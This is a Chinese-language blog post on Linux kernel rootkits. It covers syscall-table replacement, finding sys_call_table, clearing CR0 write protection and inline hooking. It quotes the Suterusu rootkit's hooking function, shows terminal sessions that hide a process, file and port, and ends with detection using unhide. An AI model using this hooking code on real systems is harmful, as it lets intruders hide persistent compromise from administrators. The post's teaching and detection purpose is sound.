成功入侵系统后,入侵者一般会通过Rootkits工具来隐藏行踪,提供后门方便后续入侵访问。Rootkits一般会隐藏文件,隐藏进程,隐藏网络端口,过滤日志,总之会隐藏任何未授权行为,使入侵者的活动很难被检测到,入侵者可以持续掌控受害系统。
Rootkits的实现手段多种多样,从应用层到动态链接库层,再到内核层,甚至Hypervisor层,都有各种方法实现Rootkits。在应用层直接替换二进制文件如ls
、ps
、top
、netstat
等,在动态连接库层Hook库函数如open()
、opendir()
、readdir()
、unlink()
等,在内核层Hook系统调用及内核函数,更改内核行为。
从上图可以看出,进程执行流程中的每一步都有可能被利用来控制执行行为,本篇博客重点关注内核层。
内核层最简单的Hook方式是直接将系统调用替换:
saved_syscall = sys_call_table[SYSCALL_NUMBER]; sys_call_table[SYSCALL_NUMBER] = new_syscall;
在内核2.6版本之前,sys_call_table
是导出符号,可直接引用,在新版内核,该符号不再导出,要替换系统调用,得先找到sys_call_table
符号地址,方法有很多,如在System.map符号文件中查找;在/proc/kallsyms中查找;在内存中暴力搜索导出的系统调用如sys_close
,如果sctable[__NR_close] == (unsigned *) sys_close
,则sctable
即sys_call_table
地址;在系统调用入口处entry_SYSCALL_64
搜索call
指令ff 14 c5
,其操作数即sys_call_table
地址。另外还要解决的一个问题是内存写保护,通过清零CR0
寄存器的写保护位,使只读页可写,进而可更改sys_call_table
。
另外一种Hook技术Inline Hooking,不但可以Hook系统调用,还可Hook内核函数,该方法直接修改目标函数指令,跳转到自定义函数。这种技术也是Rootkits Suterusu 用到的Hook技术,Suterusu的Hook框架相当优美,很值得学习。
如在x64系统下,将目标函数指令替换成mov rax, $addr; jmp rax
,这样执行到目标函数时,会先跳转到自定义函数地址$addr
执行,执行过程中如需要调用原始目标函数,会将目标函数指令恢复成原始指令调用。
void hijack_start ( void *target, void *new ) { struct sym_hook *sa ; unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE]; #if defined(_CONFIG_X86_) unsigned long o_cr0; memcpy (n_code, "\x68\x00\x00\x00\x00\xc3" , HIJACK_SIZE); *(unsigned long *)&n_code[1 ] = (unsigned long )new; #elif defined(_CONFIG_X86_64_) unsigned long o_cr0; memcpy (n_code, "\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\xff\xe0" , HIJACK_SIZE); *(unsigned long *)&n_code[2 ] = (unsigned long )new; #endif DEBUG_HOOK("Hooking function 0x%p with 0x%p\n" , target, new); memcpy (o_code, target, HIJACK_SIZE); o_cr0 = disable_wp(); memcpy (target, n_code, HIJACK_SIZE); restore_wp(o_cr0); sa = kmalloc(sizeof (*sa), GFP_KERNEL); if ( ! sa ) return ; sa->addr = target; memcpy (sa->o_code, o_code, HIJACK_SIZE); memcpy (sa->n_code, n_code, HIJACK_SIZE); list_add(&sa->list , &hooked_syms); }
有了Hook框架,Rootkits的一些操作就很容易实现了。
Hook procfs中/proc
file_operations的iterate_shared()
,替换filldir()
,隐藏指定PID进程。
$ ps -ef | grep Simple 14549 2011 3482 0 20:21 pts/4 00:00:00 python2.7 -m SimpleHTTPServer 14549 2014 27349 0 20:21 pts/9 00:00:00 grep Simple $ ./sock 1 2011 Hiding PID 2011 $ ps -ef | grep Simple 14549 2036 27349 0 20:22 pts/9 00:00:00 grep Simple $ ./sock 2 2011 Unhiding PID 2011 $ ps -ef | grep Simple 14549 2011 3482 0 20:21 pts/4 00:00:00 python2.7 -m SimpleHTTPServer 14549 2039 27349 0 20:22 pts/9 00:00:00 grep Simple
Hook当前文件系统file_operations的iterate_shared()
,替换filldir()
,隐藏指定文件和目录。
$ ls *.c dlexec.c hookrw.c icmp.c keylogger.c main.c module.c serve.c sock.c suterusu.mod.c util.c $ ./sock 11 sock.c Hiding file/dir sock.c $ ls *.c dlexec.c hookrw.c icmp.c keylogger.c main.c module.c serve.c suterusu.mod.c util.c $ ./sock 12 sock.c Unhiding file/dir sock.c $ ls *.c dlexec.c hookrw.c icmp.c keylogger.c main.c module.c serve.c sock.c suterusu.mod.c util.c
以隐藏tcp4端口为例,Hook procfs中/proc/net/tcp
seq_operations的show()
,隐藏指定端口。
$ netstat -anp | grep 8000 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 2011/python2.7 $ ./sock 3 8000 Hiding TCPv4 port 8000 $ netstat -anp | grep 8000 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) $ ./sock 4 8000 Unhiding TCPv4 port 8000 $ netstat -anp | grep 8000 (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 2011/python2.7
检测隐藏进程和端口,可以借助工具unhide 。
$ sudo unhide proc Used options: [*]Searching for Hidden processes through /proc stat scanning Found HIDDEN PID: 2011
unhide暴力枚举/proc
下进程(1~32768),如果进程PID目录存在但是对ps命令不可见,则认为该进程被隐藏。
$ sudo unhide-tcp -s Used options: use_quick [*]Starting TCP checking Found Hidden port that not appears in ss: 8000 [*]Starting UDP checking
unhide-tcp暴力枚举端口(1~65535),如果端口正在使用但是对netstat命令不可见,则认为该端口被隐藏。
参考: